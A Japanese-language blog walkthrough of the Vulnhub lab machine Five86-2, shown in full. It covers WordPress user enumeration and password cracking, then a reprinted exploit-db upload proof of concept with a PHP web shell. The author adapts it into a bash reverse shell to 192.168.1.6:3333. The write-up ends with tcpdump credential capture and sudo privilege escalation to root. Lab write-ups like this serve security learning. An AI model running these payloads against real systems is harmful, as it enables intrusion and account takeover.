banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

Five86-2-Vulnhub のウォークスルー

靶機アドレス

靶機難易度:初級 +

ツールおよび脆弱性情報#

  • netdiscover
  • nmap
  • gobuster
  • tcpdump

0x01 情報収集#

靶機のスキャン#

netdiscover-rパラメータで192.168.1.0/16をスキャンするか、ルーター管理画面で有線接続のデバイスを確認して靶機のipを取得します。

nmapでホストおよびポート情報をスキャン:

nmap -sS -A -n -T4 -p- 192.168.1.3

image

開いているポートは少ないですが、wordpressが見えます。

ページの読み込みが非常に遅く、完了するまでに時間がかかります。また、読み込まれたページは不完全です。

image

このページは完全なインターフェースに修正可能で、パケットキャプチャを行います:

image

正常な応答パケットのurlhttp://five86-2/であることがわかり、hostsファイルを修正します:

Windows:C:\Windows\System32\drivers\etc\hosts
Linux:/etc/hosts
一行追加:靶機ip five86-2

これでページを正常に開けるようになります:

image

wpscan#

wordpressだけが私たちの道を提供しているので、直接wpscanを使用します。

使用方法およびデータベースの更新方法は、私の以前の記事《用 wpscan 对 wordpress 站点进行渗透》にあります。

ユーザーをスキャン:

wpscan --url 192.168.1.3 -e u

image

以下のユーザーがいます:

  • admin
  • barney
  • gillian
  • peter
  • stephen

users.txtに保存し、次にwpscanでパスワードクラッキングを行います:

wpscan --url http://192.168.1.3 -U users.txt -P /usr/share/wordlists/rockyou.txt -t 100
(kaliに付属のrockyou.txt.gzファイルは事前に解凍する必要があります:gzip -d /usr/share/wordlists/rockyou.txt.gz)

最後に、2 つのユーザーのパスワードがクラッキングされました;

  • barney:spooky1
  • stephen: apollo1

0x02 RCE リバースシェル#

アカウントのパスワードを取得した後、ログインして作業を開始できます:

image

先ほどスキャンした際にプラグインが見つかりませんでしたが、ログインすると 3 つのプラグインがあります:

image

それぞれexploit-dbで検索したところ、RCEの脆弱性を見つけました:

image

# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin
# Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive
# Date: june 2019
# Exploit Author: xulchibalraa
# Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/
# Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip
# Version: 4.2995 <= 4.2997
# Tested on: Wordpress 5.1.1, PHP 5.6
# CVE : -


## 1. index.html, index.phpの2つのファイルを含む.zipアーカイブを作成

echo "<html>hello</html>" > index.html
echo "<?php echo system($_GET['cmd']); ?>" > index.php
zip poc.zip index.html index.php

## 2. プラグイン機能にアクセスできる任意のユーザーロールでwp-adminにログイン(デフォルトでは`Contributors`ロールでもアクセス可能)
## 3. 新しい投稿を作成 -> `Add block`を選択 -> E-Learning -> poc.zipをアップロード -> 挿入方法:Iframe -> 挿入(チュートリアル https://youtu.be/knst26fEGCw?t=44 と同様)
## 4. アップロード後に表示されるURLからウェブシェルにアクセス

http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami

youtube簡単なステップチュートリアルがあります。

それに従って、コードを適切に修正します:

echo "<html>hello</html>" > index.html
index.phpに以下の内容をvimで書き込みます
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.6/3333 0>&1'");
zip poc.zip index.html index.php

image

index.phpにリバースシェルのコマンドを書く方法は多くありますので、自分で検索してください。

新しい投稿を作成し、デフォルトのテンプレートではブロックを追加するように求められます。E-Learningモジュールを選択:

image

アップロードをクリックし、私たちのpoc.zipを選択:

image

image

upload completeと表示されたら、最後までスクロールしてinsertをクリックすると、アップロードされたパスが得られます:

image

この時点で、私のシェルは靶機に正常にアップロードされました。まず、ローカルでnc -lvp 3333を開始します。

次に、私たちのシェルにアクセスします:

http://five86-2/wp-content/uploads/articulate_uploads/poc/index.php

ローカルでシェルを取得しました:

image

0x03 tcpdump パケットキャプチャ ftp アカウントとパスワード#

このシェルは使いにくいので、古い方法でpythonを使ってttyを開始します:

python -c 'import pty; pty.spawn("/bin/bash")' # 一部の環境ではPython2がインストールされていないため、python3 -cに変更する必要があります

/homeディレクトリに移動すると、以前にクラッキングしたアカウントが見つかりました:

image

そのうちの 1 つにログインします:stephen: apollo1、cron ジョブとsudo -l権限を確認します:

image

結果は得られず、idでグループを確認するとpcapグループが見つかりました。

image

ip addでネットワークインターフェースを確認すると、奇妙なネットワークインターフェースが見つかりました:

image

pcapはネットワークトラフィックに関連しているため、トラフィックツールtcpdumpを使用してパケットをキャプチャします:

timeout 120 tcpdump -w soap.pcap -i vethb26451b
timeout 120:tcpdumpのタイムアウト時間を120秒に設定
tcpdump -wはファイルに保存し、-iはリッスンするネットワークインターフェースを指定します

ルートディレクトリで実行する必要があり、2 分後に停止します:

image

その後、tcpdumpでファイルを開いて確認します:

tcpdump -r soap.pcap |more

image

パケット内でftpアカウントのユーザー名とパスワードが見つかりました:paul:esomepasswford、切り替えてみます。

0x04 sudo 権限昇格 root#

切り替えた後、習慣的にsudo -lで実行可能なsudoコマンドを確認します:

image

sudoを使ってpeterユーザーとして/usr/sbin/serviceを実行し、/bin/bashに切り替えます。

この時点で、peterユーザーに切り替わりました:

sudo -u peter /usr/sbin/service ../../bin/bash

image

切り替えた後、peterアカウントのsudo権限を確認します:

image

rootユーザーとして無パスワードで/usr/bin/passwdを実行できるため、直接rootアカウントのパスワードを変更できます:

sudo -u root passwd root

image

/rootディレクトリでflagを取得:

image

この記事は終了です。

PS:

vulnhub 靶機の簡単な難易度のパターンはほぼ一通り行いました。新しい知識点の靶機は一つか二つだけですので、今回は行いません。
次は面白い靶機を選択する予定です。このシリーズはもう数篇しかないでしょう(おそらく)

参考記事:

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。